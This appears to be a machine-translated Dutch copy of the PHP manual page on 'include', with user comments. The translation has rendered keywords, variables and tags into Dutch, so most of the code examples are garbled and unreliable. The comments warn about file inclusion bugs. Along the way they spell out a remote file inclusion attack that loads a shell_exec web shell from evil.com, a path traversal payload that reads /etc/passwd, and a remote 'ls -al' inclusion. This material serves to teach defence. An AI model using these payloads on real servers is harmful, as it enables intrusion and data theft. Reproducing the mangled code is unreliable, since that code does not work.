PHP omvatten

PHP onder andere applicaties op een Unix

omvatten

(PHP 4, PHP 5, PHP 7)

De include-instructie bevat en evalueert het opgegeven bestand.

De documentatie hieronder geldt ook voor nodig is.

Bestanden worden opgenomen op basis van het pad gegeven of, indien er geen gegeven is, de include_path gespecificeerd. Als het bestand niet wordt gevonden in de include_path. omvatten eindelijk controleren in de eigen directory van de roeping script en de huidige werkdirectory voor falen. Het zijn onder andere construct zal een waarschuwing afgeven als het een bestand niet kan vinden; Dit verschilt van het gedrag vereist. die zal een fatale fout uitzenden.

Als een pad is gedefinieerd – of absolute (te beginnen met een stationsletter of \ Windows of / op Unix / Linux-systemen) of ten opzichte van de huidige directory (te beginnen met of …) – De include_path zullen geheel worden genegeerd. Als bijvoorbeeld een bestandsnaam begint met ../. de parser zal kijken in de bovenliggende map om het bestand te vinden.


Voor meer informatie over hoe PHP omgaat met inbegrip van bestanden en de include pad, zie de documentatie voor include_path.

Wanneer een bestand is opgenomen, de code bevat erft de variabele reikwijdte van de lijn waarop de omvatten optreedt. Elke variabelen die beschikbaar zijn op die regel in het aanroepende bestand zal beschikbaar zijn binnen de opgeroepen bestand, vanaf dat punt naar voren. Echter, alle functies en klassen gedefinieerd in het meegeleverde bestand het globale bereik.

Voorbeeld # 1 Basis omvatten bijvoorbeeld

$ Color = ‘groene’;
$ Fruit = ‘appel’;

echo "A $ kleur $ fruit " ; // EEN

echo "A $ kleur $ fruit " ; // Een groene appel

Als het onder meer optreedt in een functie binnen de roeping bestand, dan zijn alle van de code in het bestand genaamd zal gedragen alsof het in die functie zijn gedefinieerd. Dus, zal het de variabele reikwijdte van die functie te volgen. Een uitzondering op deze regel zijn magische constanten die worden geëvalueerd door de parser voor de include optreedt.

Voorbeeld # 2 Inclusief functies binnen

function foo ()
lt;
global $ kleur;

echo "A $ kleur $ fruit " ;
gt;

/ * Vars.php binnen het toepassingsbereik van foo () zo *
* $ Fruit is niet beschikbaar buiten van deze *
* Scope. $ Kleur is, omdat we verklaard *
* Als mondiaal. * /

foo (); // Een groene appel
echo "A $ kleur $ fruit " ; // Een groen

Wanneer een bestand wordt opgenomen, ontleden valt uit PHP modus en in HTML modus bij het begin van het doelbestand en hervat wordt aan het eind. Om deze reden moet elke code in het doelbestand die moeten worden uitgevoerd als PHP-code worden ingesloten in geldige PHP start en eind tags.

Als "URL onder andere wrappers " zijn ingeschakeld in PHP, kunt u het bestand op te geven om te worden opgenomen met behulp van een URL (via HTTP of andere ondersteunde wrapper – zie Ondersteunde protocollen en Wrappers voor een lijst met protocollen) in plaats van een lokale padnaam. Als het doel server het doel bestand als PHP-code interpreteert, kunnen variabelen worden doorgegeven aan de meegeleverde bestand met een URL-aanvraag string gebruikt met HTTP GET. Dit is strikt genomen niet hetzelfde als met inbegrip van het bestand en het hebben van het erven variabele reikwijdte van de bovenliggende bestand; het script daadwerkelijk wordt uitgevoerd op de server en het resultaat wordt vervolgens worden opgenomen in de lokale schrift.

Voorbeeld # 3 omvatten via HTTP

/ * Dit voorbeeld wordt ervan uitgegaan dat www.example.com is geconfigureerd om te ontleden Php
* Bestanden en niet .txt-bestanden. Ook, ‘werkt’ betekent hier dat de variabelen
* $ Foo en $ bar beschikbaar zijn binnen de opgenomen bestand. * /

// Werkt niet; file.txt werd door www.example.com behandeld als PHP
omvatten ‘http://www.example.com/file.txt?foo=1&bar = 2 ‘;

// Werkt niet; zoekt naar een bestand met de naam ‘file.php? foo = 1&balk = 2 ‘op de
// Lokale bestandssysteem.
omvatten ‘file.php? foo = 1&bar = 2 ‘;

// Works.
omvatten ‘http://www.example.com/file.php?foo=1&bar = 2 ‘;

$ Foo = 1;
$ Bar = 2;
omvatten ‘file.txt’; // Works.
omvatten ‘file.php’; // Works.

Veiligheidswaarschuwing

Remote bestand kan worden verwerkt op de externe server (afhankelijk van de bestandsextensie en het feit of de externe server PHP loopt of niet), maar het heeft nog steeds een geldige PHP-script te produceren, omdat het bij de lokale server zal worden verwerkt. Als het bestand van de externe server moet er alleen worden verwerkt en uitgevoerd, readfile () is veel beter functie te gebruiken. Anders moet speciale zorg worden genomen om de afstandsbediening script om een ​​geldige en gewenste code te produceren veilig te stellen.

Omgaan Returns: onder meer rendement FALSE mislukking en roept een waarschuwing. Succesvolle omvat, tenzij overschreven door de meegeleverde bestand, terug te keren 1. Het is mogelijk om een ​​return statement uit te voeren in een opgenomen bestand om te verwerken in dat bestand te beëindigen en terug te keren naar het script waarin het opriep. Ook is het mogelijk om waarden terug te keren van opgenomen bestanden. U kunt de waarde van de onder oproep als u zou doen voor een normale functie. Dit is echter niet mogelijk wanneer ook externe bestanden tenzij de uitgang van het externe bestand geldige PHP start en eind tags (zoals bij elk lokaal bestand). U kunt de benodigde variabelen declareren binnen die tags en ze zullen op welk punt het bestand werd opgenomen worden ingevoerd.

Omdat onder andere is een speciale taal constructie, zijn haakjes niet nodig om zijn argument. Wees voorzichtig bij het vergelijken van return waarde.

Voorbeeld # 4 Vergelijking return waarde van onder meer

lt;? php
// Zal niet werken, geëvalueerd als bevatten (( ‘vars.php’) == TRUE), dat wil zeggen onder meer ( ”)
if (bevatten ( ‘vars.php’) == TRUE) lt;
echo ‘OK’;
gt;

// werken
if ((onder andere ‘vars.php’) == TRUE) lt;
echo ‘OK’;
gt;
?gt;

$ Foo = onder ‘return.php’;

echo $ foo; // Prints ‘PHP’

$ Bar = onder ‘noreturn.php’;

echo $ bar; // Prints 1

$ Bar is de waarde 1, omdat het onder meer succesvol was. Merk het verschil tussen bovengenoemde voorbeelden. De eerste toepassingen terug te keren binnen de meegeleverde bestand, terwijl de andere niet. Als het bestand niet kan worden opgenomen, VALSE geretourneerd en E_WARNING wordt afgegeven.

Als er functies gedefinieerd in de bijgevoegde bestand, kunnen ze worden gebruikt in het hoofdbestand onafhankelijk als zij vóór of na terugkeer. Als het bestand twee keer is opgenomen, PHP 5 problemen die fatale fout omdat functies werden reeds verklaard, terwijl PHP 4 niet klagen over functies gedefinieerd na terugkeer. Het wordt aanbevolen om include_once gebruiken in plaats van te controleren of het bestand al was inbegrepen en voorwaardelijk terug te keren in de meegeleverde bestand.

Een andere manier om "omvatten" een PHP-bestand in een variabele is om de output vast te leggen met behulp van de Output control functies met bevatten. Bijvoorbeeld:

Voorbeeld # 6 Gebruik uitgang buffering naar een PHP-bestand in een string

lt;? php
$ String = get_include_contents ( ‘somefile.php’);

functie get_include_contents ($ filename) lt;
if (is_file ($ filename)) lt;
ob_start ();
omvatten $ filename;
terug ob_get_clean ();
gt;
return false;
gt;

Om automatisch ook bestanden in scripts, kunt u eveneens de auto_prepend_file en auto_append_file configuratieopties in php.ini.

Notitie. Omdat dit een taal construct en geen functie, kan niet worden aangeroepen met variabele functies.

Voor het gebruik van php omvatten, vereisen, include_once of require_once verklaringen, moet je meer over Local File Inclusion (ook bekend als LFI) and Remote File Inclusion (ook bekend als RFI) te leren.

Als voorbeeld # 3 opmerkt, is het mogelijk om een ​​php-bestand van een externe server op te nemen.

De LFI en RFI kwetsbaarheden zich voordoen wanneer u een input variabele in de include-instructie gebruiken zonder juiste input validatie. Stel je hebt een example.php met de code:

lt;? php
// Bad Code
$ Path = $ _GET [ ‘pad’];
omvatten $ pad. ‘Voorbeeld-config-file.php’;
?gt;

Als programmeur, zou je verwachten dat de gebruiker in staat om het pad dat u opgeeft om te bladeren.

Echter, het opent een RFI kwetsbaarheid. Om het te exploiteren als een aanvaller, zou ik eerst setup een kwaad tekstbestand met php code op mijn evil.com domein.

evil.txt
lt;? php echo shell_exec ($ _GET [ ‘command’]); ? Gt;

Het is een tekstbestand, zodat het niet zou worden verwerkt op mijn server, maar op het doel / slachtoffer server. Ik blader dan naar:
h t t p. / / W w w .example.com / example.php? Command = whoami& path = h t t p. / / W w w .evil.com / evil.txt% 00

De example.php zou mijn evil.txt downloaden en verwerken van het besturingssysteem commando dat ik doorgegeven als het commando variabele. In dit geval is whoami. Uiteindelijk heb ik de variabele pad met een 00%, dat is de nul-karakter. De originele omvatten verklaring in de example.php zou de rest van de regel te negeren. Het moet me vertellen wie de webserver wordt uitgevoerd als.

Gebruik juiste input validatie als u variabelen gebruiken in een include-instructie.

Bij het opnemen van een bestand met de naam rechtstreeks, zonder te specificeren we praten over de huidige werkmap, dat wil zeggen te zeggen (inclusief "het dossier") In plaats van (onder meer "./het dossier"). PHP zal eerst zoeken in de huidige werkmap (gegeven door getcwd ()). dan volgende zoekt het in de directory van het script wordt uitgevoerd (gegeven door __dir__).
Dit is een voorbeeld van de situatie tonen:
We hebben twee directory structuur:
-dir1
—-script.php
—-test
—-dir1_test
-map2
—-test
—-dir2_test

dir1 / test bevat de volgende tekst:
Dit is test dir1
dir2 / test bevat de volgende tekst:
Dit is test map2
dir1_test bevat de volgende tekst:
Dit is dir1_test
dir2_test bevat de volgende tekst:
Dit is dir2_test

script.php bevat de volgende code:
lt;? php

echo ‘Gids van de huidige roeping script:’. __DIR__;
echo ‘lt; br / gt;’ ;
echo ‘Huidige werkmap’. getcwd ();
echo ‘lt; br / gt;’ ;
echo “met inbegrip "test". ‘;
echo ‘lt; br / gt;’ ;
omvatten ‘test’;
echo ‘lt; br / gt;’ ;
echo ‘Changing huidige directory naar map2’;
chdir (../dir2 ‘);
echo ‘lt; br / gt;’ ;
echo ‘Gids van de huidige roeping script:’. __DIR__;
echo ‘lt; br / gt;’ ;
echo ‘Huidige werkmap’. getcwd ();
echo ‘lt; br / gt;’ ;
echo “met inbegrip "test". ‘;
echo ‘lt; br / gt;’ ;
omvatten ‘test’;
echo ‘lt; br / gt;’ ;
echo “met inbegrip "dir2_test". ‘;
echo ‘lt; br / gt;’ ;
omvatten ‘dir2_test’;
echo ‘lt; br / gt;’ ;
echo “met inbegrip "dir1_test". ‘;
echo ‘lt; br / gt;’ ;
omvatten ‘dir1_test’;
echo ‘lt; br / gt;’ ;
echo “met inbegrip "./dir1_test". ‘;
echo ‘lt; br / gt;’ ;
(@include ‘./dir1_test “) Or die (‘ couldn \ ’t bevatten deze file’);
?gt;
De output van het uitvoeren script.php is:

Directory van de huidige roeping script: C: \ dev \ www \ php_experiments \ working_directory \ example2 \ dir1
Huidige directory: C: \ dev \ www \ php_experiments \ working_directory \ example2 \ dir1
inclusief "test".
Dit is test dir1
Het veranderen van de huidige directory naar map2
Directory van de huidige roeping script: C: \ dev \ www \ php_experiments \ working_directory \ example2 \ dir1
Huidige directory: C: \ dev \ www \ php_experiments \ working_directory \ example2 \ map2
inclusief "test".
Dit is test map2
inclusief "dir2_test".
Dit is dir2_test
inclusief "dir1_test".
Dit is dir1_test
inclusief "./dir1_test".
kan dit bestand niet bevatten

Ik kan niet genoeg benadrukken het kennen van de actieve werkmap. Zoek door: echo getcwd ();
Vergeet niet dat als bestand A omvat bestand B en B omvat file C; de include pad in B moet rekening worden gehouden dat A, niet B, is de actieve werkmap.

Als je wilt hebben onder andere bestanden, maar wil niet dat ze direct toegankelijk vanuit de client zijn, alsjeblieft, alsjeblieft, voor de liefde van het toetsenbord, doe dit niet:

# index.php
define ( ‘wat’ ‘ever’.);
omvatten ‘includeFile.php’;

// Controleren of wat is gedefinieerd en sterven als niet

De reden dat je moet dit niet doen is, want er is een betere optie beschikbaar. Verplaats de includeFile (s) uit de document root van uw project. Dus als het document root van uw project is op "/ Usr / share / nginx / html"Houd de include bestanden in "/ Usr / share / nginx / src".

# Index.php (in document root (/ usr / share / nginx / html))

omvatten __DIR__. ‘/../src/includeFile.php;

Aangezien gebruiker kan typen ‘your.site/../src/includeFile.php’, zou je includeFile (en) niet toegankelijk voor de gebruiker direct zijn.

Als vuistregel, nooit onder andere bestanden met behulp van relatieve paden. Om dit efficiënt te doen, kunt u constanten definiëren als volgt:

—-
? Lt; php // prepend.php – autoprepended aan de bovenkant van uw boom
define ( ‘MAINDIR’ dirname (__FILE__) ‘/’..);
define ( ‘DL_DIR’ MAINDIR ‘downloads /’..);
define (.. ‘LIB_DIR’ MAINDIR ‘lib /’);
?gt;
—-

enzovoort. Op deze manier zal de bestanden in uw kader alleen maar uitspraken als deze kwestie:

lt;? php
require_once (LIB_DIR ‘excel_functions.php’.);
?gt;

Dit bevrijdt je ook van het hebben om te controleren of de include pad elke keer dat je een include.

Als u scripts uitvoert van onder uw belangrijkste web directory, zet een prepend.php bestand in elke subdirectory:


lt;? php
include (dirname (dirname (__FILE__)) ‘/prepend.php’.);
?gt;

Op deze manier, de prepend.php bovenaan altijd wordt uitgevoerd en u zult geen pad omgaan met hoofdpijn. Vergeet niet om de auto_prepend_file richtlijn te stellen op uw .htaccess-bestanden voor elke subdirectory waar je web-toegankelijke scripts.

Als je doet een heleboel dynamische / berekend omvat (gt; 100, te zeggen), dan kunt u goed wilt deze voorstelling vergelijking weten: als het doel bestand niet bestaat, dan is een @include () is tien * * * tijden * * * langzamer dan voorvoegsel met een file_exists () check. (Dit is van belang als het bestand wordt slechts af en toe bestaan ​​- bijvoorbeeld een dev omgeving heeft, maar een prod men niet.)

Soms zal het nuttig zijn om een ​​string als een bestandsnaam omvatten

// Krijgen inhoud
$ CFile = file_get_contents ( ‘crypted.file’);
// De inhoud te ontsleutelen
$ Content = decrypte ($ CFile);

// Bevatten deze
omvatten ( "data: // text / plain; base64,". base64_encode ($ gehalte));
//of
omvatten ( "data: // text / plain,". urlencode ($ gehalte));
?gt;

Wees zeer voorzichtig met inbegrip van bestanden op basis van de gebruiker inputed data. Kijk bijvoorbeeld naar deze code voorbeeld:

index.php:
lt;? php
$ Page = $ _GET [ ‘page’];
if (file_exists ( ‘pages /’. $ pagina. ‘.php’))
lt;
include ( ‘pages /’ $ pagina ‘.php’..);
gt;
?gt;

Ga dan naar URL:
index.php? page = / .. / .. / .. / .. / .. / .. / etc / passwd% 00.html

file_exists () zal uitkomen terug te keren, zal uw passwd bestand worden opgenomen en omdat het niet php-code zal de uitgang direct naar de browser.

Natuurlijk bestaat dezelfde kwetsbaarheid als u een bestand om te laten zien aan het lezen bent, als in een template engine.

Je hebt absoluut aan een input string die zal worden gebruikt om toegang te krijgen tot het bestandssysteem te zuiveren, kun je niet rekenen op een absoluut pad of gevoegd bestandsextensie om het te beveiligen. Beter nog, precies weten welke opties u kunt accepteren en accepteren alleen die opties.

Ik heb een behoefte aan een groot aantal bestanden, die zijn opgenomen in een directory omvatten. Ondersteuning voor zaken als lt;? php include_once ‘dir / * php.’; ? Gt; zou mooi zijn, maar het bestaat niet.

Daarom schreef ik dit snel functie (gelegen in een bestand automatisch opgenomen door auto_prepend_file):
lt;? php

functie include_all_once ($ pattern) lt;
foreach (glob ($ pattern) als $ file) lt; // herinner de lt; en gt; noodzakelijk!
omvatten $ file;
gt;
gt;

// Gebruikt als
include_all_once ( ‘. dir / * php’);

gt;
Een vrij duidelijk oplossing. Het heeft geen betrekking op de relatieve bestandspaden hoewel; je moet nog steeds om dat te doen jezelf.

Zowat elk type bestand kan worden ‘opgenomen’ of ‘verplicht’. Door het verzenden van de juiste headers, net als in het onderstaande voorbeeld, zou de klant normaal gesproken zie de output in hun browser als een beeld of andere beoogde mime type.

U kunt insluiten tekst in de uitvoer, zoals in onderstaand voorbeeld. Maar een beeld is nog steeds een afbeelding om de machine van de klant. De klant moet het gedownloade bestand te openen als platte / tekst om te zien wat je ingesloten.

header ( ‘Content-type: image / jpeg’);
header ( ‘Content-Disposition: inline;’);

Dat brengt ons tot een groot beveiligingsprobleem. Scripts kunnen worden verborgen in afbeeldingen of bestanden met behulp van deze methode. Bijvoorbeeld, in plaats weergalmen " lt;? php phpinfo (); ? Gt; ", Een foreach / ontkoppelen lus door het hele bestandssysteem, of een andere methode van het uitschakelen van de beveiliging op uw computer.

Om Windows programmeurs, als u een upgrade 5,3-5,4 of zelfs 5.5; Als u een pad hebt gecodeerd in uw wensen of onder moet je voorzichtig zijn. De code kan niet achterwaarts compatibel zijn. Meer specifiek; de code ontsnapping voor ESC, dat is "\ e" werd geïntroduceerd in PHP 5.4.4 +, maar als je 5.4.3 gebruiken moet je wel goed. Bijvoorbeeld:

Test script:
————-
lt;? php
vereisen( "C: \ element \ scripts \ include.php" );
?gt;

In PHP 5.3. * Naar php 5.4.3
—————————-
Als u nodig ("C: \ element \ scripts \ include.php") Zal het prima werken.

Als PHP 5.4.4 + Het zal breken.
——————————
Warning: require (C: ← lement \ scripts \ include.php): in geslaagd om stroom te openen: In
geldig argument in C: \ element \ scripts \ include.php on line 20

Fatale fout: require (): Slaagde opening nodig ‘C: ← lement \ scripts \ include.php

Oplossing:
———–
In theorie moet je altijd gebruiken "\\" in plaats van "\" als je schrijft php in windows machine of het gebruik "/" zoals in Linux en je moet wel sinds "\" is een escape-teken in de meeste programmeertalen.
Als u geen gebruik absolute paden; stroom functies is uw beste vriend als stream_resolve_include_path (). maar je moet het pad dat je bent het oplossen van in je php.ini (include_path variabel) bevatten.

Ik hoop dat dit zinvol is en ik hoop dat het zal iemand ergens op de weg.
cheers,

Merk op dat het gebruik van @include (in plaats van onder meer zonder @) de lokale waarde van error_reporting tot 0 in het opgenomen script zal stellen.

Stel je de volgende situatie voor:
lt;? php
ini_set ( ‘error_reporting’ E_ALL.);

echo "Eigen waarde voor: " ;
echo ini_get ( ‘error_reporting’);
echo "\ R \ n" ;

echo "omvatten foo.php: " ;
include ( ‘foo.php’);

echo "@include foo.php: " ;
@include (foo.php ‘);

echo "Eigen waarde nu: ". ini_get ( ‘error_reporting’);
?gt;

foo.php
lt;? php
echo ini_get ( ‘error_reporting’). "\ R \ n" ;
?gt;

Output:
Eigen waarde voor: 32767
omvatten foo.php: 32767
@include foo.php: 0
Eigen waarde nu: 32767

Terwijl u een waarde kunt terugkeren uit een opgenomen bestand, en ontvang de waarde zoals je zou verwachten, hoef je niet lijken te kunnen om een ​​referentie op enigerlei wijze (behalve in array, referenties worden altijd in arrays bewaard) terug te keren.

Zo hebben we twee bestanden, file 1.php bevat.
lt;? php
functie & x (& $ Y)
lt;
terug bevatten (dirname (__FILE__) ‘/2.php’.);
gt;

$ Z = "FOO \ n" ;
$ Z2 = & x ($ z);

echo $ Z2;
$ Z = "Middag" ;

en file 2.PHP bevat.
lt;? php return $ y; ? Gt;

roepen 1.php zal produceren

dat wil zeggen de verwijzing doorgegeven aan x () is gebroken op weg uit de include ()

Evenmin kan je zoiets doen lt;? php $ foo =& bevatten (.); ? Gt; als dat is een parse error (onder andere is geen echte functie, zodat kan een verwijzing in dat geval geen rekening). En je kan ook niet doen lt;? php return & $ Foo gt?; in de meegeleverde bestand (ontleden fout nogmaals, niets aan de hand te wijzen).

De enige oplossing is om een ​​variabele met de referentie die het met inbegrip van code zelf dan kan terugkeren, of terugkeren een array met de referentie-set binnen.

Ik wil graag het gevaar te benadrukken van op afstand omvat. Bijvoorbeeld:
Stel, we hebben een server A met Linux en PHP 4.3.0 of hoger geïnstalleerd waarop het bestand index.php met de volgende code heeft:

lt;? php
// Bestand: index.php
include ($ _GET [ ‘id’]. ".php" );
?gt;

Dit is natuurlijk niet een zeer goede manier om programma, maar ik eigenlijk vond een programma om dit te doen.

Dan, Hava we een server B, ook Linux met PHP geïnstalleerd, dat het bestand list.php met de volgende code heeft:

lt;? php
// Bestand: list.php
$ Output = "" ;
exec ( "ls -al". $ Output);
foreach ($ vermogen als $ lijn) lt;
echo $ lijn. "lt; brgt; \ n" ;
gt;
?gt;

Als index.php op Server A wordt genoemd als volgt uit: http: //server_a/index.php id = http: // server_b / list
dan Server B zal list.php te voeren en Server A zal de output van Server B, een lijst met bestanden op te nemen.

Maar hier is de truc: als Server B heeft geen PHP is geïnstalleerd, geeft het bestand list.php naar Server A en Server A dat bestand wordt uitgevoerd. Nu hebben we een bestand lijst van Server A!
Ik heb geprobeerd dit op drie verschillende servers, en het altijd werkte.
Dit is slechts een voorbeeld, maar er zijn hacks uploaden van bestanden naar servers etc. geweest

Dus, altijd uiterst voorzichtig met afstandsbediening bevat.

Ik wil graag wijzen op het verschil in gedrag in IIS / Windows en Apache / Unix (niet zeker over alle anderen, maar ik zou denken dat elke server onder Windows zal zijn dezelfde als IIS / Windows en elke server onder Unix zal gedragen hetzelfde als Apache / Unix) als het gaat om het pad opgegeven voor de meegeleverde bestanden.

Stel je de volgende situatie voor:
lt;? php
omvatten ‘/Path/To/File.php’;
?gt;

In IIS / Windows, wordt het bestand gezocht in de hoofdmap van de virtuele host (we zullen zeggen: C: \ Server \ sites \ MySite), omdat het pad begint met een slash. Dit gedrag werkt in HTML onder alle platforms, omdat browsers interpreteren / als de wortel van de server.

Echter, Unix file / folder structureren is een beetje anders. De / vertegenwoordigt de hoofdmap van de harde schijf of de huidige harde schijf partitie. Met andere woorden, zou het in principe op zoek naar root: /Path/To/File.php plaats van ServerRoot: /Path/To/File.php (die we zullen zeggen is / usr / var / www / htdocs). Thusly, zou een fout / waarschuwing worden gegooid, omdat het pad niet bestaat in de root pad.

Ik dacht dat ik zou zeggen dat. Het zal zeker een aantal problemen voor gebruikers die onder Windows werken en hun toepassingen op een Unix-gebaseerde server te vervoeren op te slaan.

Een werk rond zou iets als:
lt;? php
$ DocumentRoot = null;

if (isset ($ _SERVER [ ‘DOCUMENT_ROOT’])) lt;
$ DocumentRoot = $ _SERVER [ ‘DOCUMENT_ROOT’];

if (strstr ($ documentRoot. ‘/’) || strstr ($ documentRoot. ‘\\’)) lt;
if (strstr ($ documentRoot. ‘/’)) lt;
$ DocumentRoot = str_replace (. ‘/’ DIRECTORY_SEPARATOR $ documentRoot.);
gt;
elseif (strstr ($ documentRoot. ‘\\’)) lt;
$ DocumentRoot = str_replace ( ‘\\’ DIRECTORY_SEPARATOR $ documentRoot..);
gt;
gt;

if (preg_match ( ‘/ [^ \\ /] lt; 1GT; \\ [^ \\ /] lt; 1GT; /’. $ documentRoot)) lt;
$ DocumentRoot = preg_replace ( ‘/ ([^ \\ /] lt; 1GT;) \\ ([^ \\ /] lt; 1GT;) /’.. ‘\\ 1DIR_SEP \\ 2’ $ documentRoot);
$ DocumentRoot = str_replace ( ‘DIR_SEP’ ‘\\\\’ $ documentRoot..);
gt;
gt;
anders lt;
/ **
* Ik meestal op te slaan dit bestand in de map bevat aan de basis van mijn
* Virtual host. Dit kan veranderd worden naar waar je dit bestand op te slaan.
*
* Voorbeeld:
* Als u dit bestand op te slaan in de / Instellingen / docroot folder Application bij de
* Basis van uw site, zou u deze array te wijzigen in elk van deze omvatten
* Mappen.
*
* lt; codegt;
* $ Directory = array (
* ‘Application’,
* ‘Instellingen’
* ‘Docroot’
*);
* lt; / codegt;
* /
$ Directories = array (
‘Inclusief’
);

if (gedefinieerd ( ‘__DIR__’)) lt;
$ CurrentDirectory = __DIR__;
gt;
anders lt;
$ CurrentDirectory = dirname (__FILE__);
gt;

$ CurrentDirectory = rtrim (. $ CurrentDirectory DIRECTORY_SEPARATOR);
$ CurrentDirectory = $ currentDirectory. DIRECTORY_SEPARATOR;

foreach ($ directories als $ directory) lt;
$ CurrentDirectory = str_replace (
DIRECTORY_SEPARATOR. $ Directory. DIRECTORY_SEPARATOR,
DIRECTORY_SEPARATOR,
$ currentDirectory
);
gt;

$ CurrentDirectory = rtrim (. $ CurrentDirectory DIRECTORY_SEPARATOR);
gt;

define ( ‘SERVER_DOC_ROOT’ $ documentRoot.);
?gt;

Met behulp van dit bestand, kunt u ook bestanden met behulp van de gedefinieerde SERVER_DOC_ROOT constant en elk bestand op die manier zal worden opgenomen van de juiste locatie en geen fouten / waarschuwingen zal worden geworpen.

Voorbeeld:
lt;? php
omvatten SERVER_DOC_ROOT. ‘/Path/To/File.php;
?gt;

Bron: php.net

Geef een reactie

Het e-mailadres wordt niet gepubliceerd. Vereiste velden zijn gemarkeerd met *

vijf × 2 =